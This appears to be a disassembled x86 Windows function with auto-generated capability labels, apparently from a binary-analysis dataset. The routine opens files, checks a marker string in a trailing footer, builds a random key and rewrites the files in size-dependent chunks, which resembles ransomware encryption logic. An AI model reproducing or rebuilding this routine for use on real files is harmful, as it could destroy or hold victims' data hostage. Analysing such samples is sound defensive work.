Function at 0x41cd50
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get file size
Read file on windows
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4a3afd
mov eax, dword fs:[0]
push eax
sub esp, 0x228
mov eax, dword [0x4d1a04]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x1f0], ecx
cmp dword [ebp + 0x1c], 8
lea eax, [ebp + 8]
push 0x80
cmovae eax, dword [ebp + 8]
push eax
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
cmp dword [ebp + 0x1c], 8
lea eax, [ebp + 8]
push 0
cmovae eax, dword [ebp + 8]
push 0x80
push 3
push 0
push 0
push 0xc0000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
mov dword [ebp - 0x1e0], esi
cmp esi, 0xffffffff
je 0x41d2ce
lea eax, [ebp - 0x220]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
jne 0x41cdf4
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x41d2ce
mov edi, dword [ebp - 0x220]
lea eax, [ebp - 0x1dc]
mov esi, dword [ebp - 0x21c]
push 0x123
push 0
push eax
mov dword [ebp - 0x210], edi
mov dword [ebp - 0x1e4], esi
call fcn.00473530
mov eax, 0xa
mov word [ebp - 0xa7], 0
xorps xmm0, xmm0
mov word [ebp - 0xb9], ax
mov eax, dword [0x4ac9e8]
add esp, 0xc
movups xmmword [ebp - 0xb7], xmm0
mov ecx, 0x147
mov dword [ebp - 0x99], eax
movq xmm0, qword [str.2k0nighbxak]
lea eax, [ebp - 0x1dc]
mov dword [ebp - 0xa5], 0
movq qword [ebp - 0xa1], xmm0
mov byte [eax], 0
lea eax, [eax + 1]
sub ecx, 1
jne 0x41ce71
test esi, esi
jl 0x41cf27
jg 0x41ce92
cmp edi, 0x147
jb 0x41cf27
mov ecx, edi
mov dword [ebp - 0x224], 0
sub ecx, 0x147
mov eax, esi
mov esi, dword [ebp - 0x1e0]
xorps xmm0, xmm0
sbb eax, 0
movlpd qword [ebp - 0x234], xmm0
mov dword [ebp - 0x228], eax
lea eax, [ebp - 0x234]
push eax
lea eax, [ebp - 0x1f4]
mov dword [ebp - 0x22c], ecx
push eax
push 0x147
lea eax, [ebp - 0x1dc]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov ecx, str.2k0nighbxak
lea eax, [ebp - 0xa1]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x41cf12
test dl, dl
je 0x41cf0e
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x41cf12
add eax, 2
add ecx, 2
test dl, dl
jne 0x41cef2
xor eax, eax
jmp 0x41cf17
sbb eax, eax
or eax, 1
test eax, eax
jne 0x41cf27
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x41d2ce
push 0x28
call fcn.0047154b
add esp, 4
mov dword [ebp - 0x20c], eax
mov esi, 1
mov edi, eax
mov byte [eax], 0x73
lea eax, [ebp - 0x1fc]
push eax
call fcn.0048428d
mov al, byte [ebp - 0x1fc]
add esp, 4
mov byte [esi + edi], al
inc esi
cmp esi, 0x28
jb 0x41cf41
lea eax, [edi + 0x20]
push eax
push edi
lea ecx, [ebp - 0x94]
call fcn.004180e0
push 4
push 0x1000
push 0x40
push 0
mov dword [ebp - 0x14], 0x40
mov dword [ebp - 0x64], 0
mov dword [ebp - 0x60], 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, dword [ebp - 0x210]
mov dword [ebp - 0x1e8], eax
mov eax, dword [ebp - 0x1e4]
test eax, eax
jg 0x41d01b
jl 0x41cfb5
cmp edi, 0x1388
jae 0x41cfc4
movsd xmm0, qword [0x4acb08]
xor esi, esi
jmp 0x41d046
test eax, eax
jg 0x41d01b
jl 0x41cfd2
cmp edi, 0x4c4b40
jae 0x41cfe1
movsd xmm0, qword [0x4acb00]
mov esi, 0x1388
jmp 0x41d046
test eax, eax
jg 0x41d01b
jl 0x41cfef
cmp edi, 0x2faf080
jae 0x41cffe
movsd xmm0, qword [0x4acaf8]
mov esi, 0x1388
jmp 0x41d046
test eax, eax
jg 0x41d01b
jl 0x41d00c
cmp edi, 0x40000000
jae 0x41d01b
movsd xmm0, qword [0x4acaf0]
mov esi, 0x1388
jmp 0x41d046
cmp eax, 2
jg 0x41d039
jl 0x41d02a
cmp edi, 0x80000000
jae 0x41d039
movsd xmm0, qword [0x4acae8]
mov esi, 0x3a98
jmp 0x41d046
movsd xmm0, qword [0x4acae0]
mov esi, 0xc350
mov ecx, dword [ebp - 0x1f0]
lea eax, [ebp - 0x1dc]
push eax
movsd qword [ebp - 0x1f8], xmm0
lea eax, [ecx + 0xc]
push eax
push dword [ebp - 0x1e0]
push esi
sub esp, 8
movsd qword [esp], xmm0
push dword [ebp - 0x20c]
call fcn.0041b6f0
xorps xmm0, xmm0
movlpd qword [ebp - 0x204], xmm0
test esi, esi
je 0x41d107
push 4
push 0x1000
push esi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x1ec], eax
test eax, eax
je 0x41d2bb
lea ecx, [ebp - 0x94]
push ecx
push dword [ebp - 0x1e4]
mov ecx, dword [ebp - 0x1f0]
push edi
push eax
push 0
push esi
lea eax, [ebp - 0x204]
push eax
push dword [ebp - 0x1e0]
call fcn.0041d330
push 0x8000
push 0
push dword [ebp - 0x1ec]
test eax, eax
jne 0x41d101
mov esi, dword [sym.imp.KERNEL32.dll_VirtualFree]
call esi
push 0x8000
push 0
push dword [ebp - 0x1e8]
call esi
jmp 0x41d2ce
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, dword [ebp - 0x1e4]
mov ecx, edi
sub ecx, esi
push 0
push 0x40
sbb eax, 0
push eax
push ecx
call fcn.004717c0
movsd xmm0, qword [ebp - 0x1f8]
mov ecx, edx
mulsd xmm0, qword [0x4acad8]
mov dword [ebp - 0x208], ecx
mov ecx, eax
mov dword [ebp - 0x1ec], eax
movsd qword [ebp - 0x1f8], xmm0
call fcn.00471ab0
mulsd xmm0, qword [ebp - 0x1f8]
call fcn.00471a00
mov ecx, eax
or ecx, edx
jne 0x41d183
mov eax, dword [ebp - 0x1e4]
test eax, eax
jl 0x41d2a1
jg 0x41d177
test edi, edi
je 0x41d2a1
lea ecx, [ebp - 0x94]
xorps xmm0, xmm0
push ecx
jmp 0x41d1b8
push edx
push eax
push dword [ebp - 0x208]
push dword [ebp - 0x1ec]
call fcn.004717c0
mov ecx, eax
mov dword [ebp - 0x218], eax
or ecx, edx
mov dword [ebp - 0x1f4], edx
xorps xmm0, xmm0
jne 0x41d1e7
lea eax, [ebp - 0x94]
push eax
mov eax, dword [ebp - 0x1e4]
mov ecx, dword [ebp - 0x1f0]
push eax
push edi
push dword [ebp - 0x1e8]
movlpd qword [ebp - 0x204], xmm0
push eax
push edi
lea eax, [ebp - 0x204]
push eax
push dword [ebp - 0x1e0]
call fcn.0041d330
jmp 0x41d2a1
cmp dword [ebp - 0x208], 0
movlpd qword [ebp - 0x214], xmm0
jl 0x41d2a1
jg 0x41d20b
cmp dword [ebp - 0x1ec], 0
jbe 0x41d2a1
mov ecx, dword [ebp - 0x210]
mov eax, dword [ebp - 0x214]
mov dword [ebp - 0x1fc], ecx
mov dword [ebp - 0x210], eax
shld ecx, eax, 6
shl eax, 6
add eax, esi
mov dword [ebp - 0x204], eax
lea eax, [ebp - 0x94]
push eax
push dword [ebp - 0x1e4]
lea eax, [ebp - 0x204]
adc ecx, 0
push edi
push dword [ebp - 0x1e8]
mov dword [ebp - 0x200], ecx
mov ecx, dword [ebp - 0x1f0]
push 0
push 0x40
push eax
push dword [ebp - 0x1e0]
call fcn.0041d330
mov eax, dword [ebp - 0x210]
add eax, dword [ebp - 0x218]
mov ecx, dword [ebp - 0x1fc]
adc ecx, dword [ebp - 0x1f4]
mov dword [ebp - 0x210], eax
mov dword [ebp - 0x1fc], ecx
cmp ecx, dword [ebp - 0x208]
jl 0x41d223
jg 0x41d2a1
cmp eax, dword [ebp - 0x1ec]
jb 0x41d223
push dword [ebp - 0x1e0]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0x20c]
call fcn.00471554
add esp, 4
push 0x8000
push 0
push dword [ebp - 0x1e8]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov ecx, dword [ebp + 0x1c]
cmp ecx, 8
jb 0x41d304
mov edx, dword [ebp + 8]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x41d2fa
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41d321
push ecx
push edx
call fcn.0047153d
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004717aa
mov esp, ebp
pop ebp
ret 0x18
call fcn.0047ce9f
int3